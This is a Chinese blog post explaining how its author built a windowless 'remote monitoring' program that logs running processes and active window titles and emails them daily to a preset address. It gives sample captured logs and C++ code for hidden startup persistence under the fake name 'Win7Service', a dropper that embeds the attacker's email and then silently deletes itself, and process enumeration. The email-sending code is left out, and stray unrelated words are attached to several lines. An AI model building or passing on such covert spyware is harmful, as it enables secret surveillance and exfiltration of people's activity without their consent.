远程监控程序的实现

本程序能实现监控的功能,因为我不想记录太多的信息,因此简化了其中的功能。程序中主要记录当前的进程列表和活动窗口的标题,每小时记录一次,每一天向预先设定的邮箱中发一封邮件,典型的邮件内容以下:sass

2011-03-28
12:28
当前窗口:开始
[System Process]
smss.exe
csrss.exe
wininit.exe
winlogon.exe
services.exe
lsass.exe
lsm.exe
svchost.exe
ibmpmsvc.exe
audiodg.exe
RtkAudioService.exe
RtHDVBg.exe
ZhuDongFangYu.exe
taskeng.exe
lpksetup.exe
TPHKSVC.exe
360rp.exe
taskhost.exe
tpnumlkd.exe
dwm.exe
explorer.exe
FNPLicensingService.exe
CamMute.exe
micmute.exe
TPKNRSVC.exe
lvvsst.exe
virtscrl.exe
rrservice.exe
ImeUtil.exe
WLIDSVC.EXE
TpShocks.exe
TPOSDSVC.exe
rundll32.exe
TPONSCR.exe
SynTPEnh.exe
WLIDSVCM.EXE
msswin7.exe
360sdrun.exe
360speedld.exe
360tray.exe
360leakfixer.exe
sppsvc.exe
SynTPLpr.exe
360sd.exe
SearchIndexer.exe
dllhost.exe
WmiPrvSE.exe
SynTPHelper.exe
13:00
当前窗口:抢盐背后的搞笑段子、图片,不信你不笑!! - 新鲜郑州 - 郑州论坛 _郑州同城交友活动_最温暖最郑州的网络生活 - 河南一百度 - Windows Internet Explorer
wmpnetwk.exe
SUService.exe
tvt_reg_monitor_svc.exe
QQ.exe
TXPlatform.exe
sogouexplorer.exe
iexplore.exe
SogouCloud.exe
SearchProtocolHost.exe
Thunder.exe
ThunderPlatform.exe
FlashUtil10o_ActiveX.exe
SearchFilterHost.exe
13:05
当前窗口:360杀毒 v1.2
userinit.exe
TrustedInstaller.exe
13:10
当前窗口:360杀毒 v1.2
14:10
当前窗口:Program Manager
wmpnscfg.exe
15:00
当前窗口:迅雷7
MOM.exe
CCC.exe
16:00
当前窗口:迅雷7
17:55
当前窗口:Dialog
18:00
当前窗口:新加卷 (E:)
KuGoo.exe
KGDaemon.exe
19:00
当前窗口:360杀毒 v1.2 - 全盘扫描
20:00
当前窗口:TDDOWNLOAD
21:00
当前窗口:秋水之冰
Xmp.exe
WUDFHost.exe
22:00
当前窗口:我知女人心HD高清版.rmvb网络

 

本程序无界面,在控制台程序中释放主程序,完成一些初始化工做,并自动设为启动项。下面主要粘贴几段关键的代码。app

1 设为启动项函数

void EnableAutoLaunch(CString processPath)
{
 //写入注册表,开机自启动
 HKEY hKey;
 //找到系统的启动项
 LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 //打开启动项Key
 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpRun,0, KEY_WRITE, &hKey);
 if(lRet == ERROR_SUCCESS)
 {
  DWORD dwRet =processPath.GetLength();
  char *pFileName=processPath.GetBuffer(dwRet);
  //添加一个子Key,并设置值
  lRet = RegSetValueEx(hKey, "Win7Service",0, REG_SZ, (BYTE*)pFileName, dwRet);
  //关闭注册表
  RegCloseKey(hKey);
  if(lRet != ERROR_SUCCESS)
  {
   AfxMessageBox("系统参数错误,不能随系统启动");
  }
 }
}


 

2 释放程序code

void ReleaseResource(int resourceID,CString resType,CString proPath,BOOL appendInf/*=FALSE*/,CString inf/*=""*/)
{
 DWORD writeSize=0;
 
 HANDLE hFile = CreateFile(proPath.GetBuffer(0), GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); 
 HRSRC hrsrc=FindResource(NULL,MAKEINTRESOURCE(resourceID),resType.GetBuffer(0));
 LPCVOID lp=LockResource(LoadResource(NULL,hrsrc));
 DWORD fileSize=SizeofResource(NULL,hrsrc);
 WriteFile(hFile,lp,fileSize,&writeSize,NULL);
 if(appendInf)//是否在程序末尾追加信息
 {
  WriteFile(hFile,inf.GetBuffer(0),256,&writeSize,NULL);
 }
 CloseHandle(hFile);
 MessageBox(AfxGetApp()->GetMainWnd()->GetSafeHwnd(),"done.","信息",MB_ICONINFORMATION);
 ShellExecute(NULL,"open","cmd.exe","/c taskkill /f /im Host.exe & del /f Host.exe",NULL,SW_HIDE);//删除自身,嘻嘻。

}


3 遍历进程列表orm

void EnumerateProcesses()
{
 HANDLE snapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 //--------------------------------------
 //查询进程
 //--------------------------------------
 PROCESSENTRY32  processInfo;
 CString strProcessName= "";
 DWORD  nProcessID=0;
 int nProcessTerminate=0;
 processInfo.dwSize = sizeof(PROCESSENTRY32);
 BOOL status=Process32First(snapShot,&processInfo);
 while(status)
 {
  strProcessName = processInfo.szExeFile;
  UpdateProcessList(strProcessName);//更新进程列表
  status = Process32Next(snapShot,&processInfo);
 }
}

4 定制服务端的生成进程

就是根据用户输入的email来生成不一样的服务端程序。见2中释放程序的函数,咱们须要在程序的末尾追加特定信息,这里把用户定制的email信息追加到服务端末尾,本程序向服务端程序末尾追加256字节数据,等到服务端运行的时候会打开本身,读取其末尾的256字节数据,从而获得email信息。图片

5 发送emailcmd

这个函数很关键,代码很多。这里不贴了。it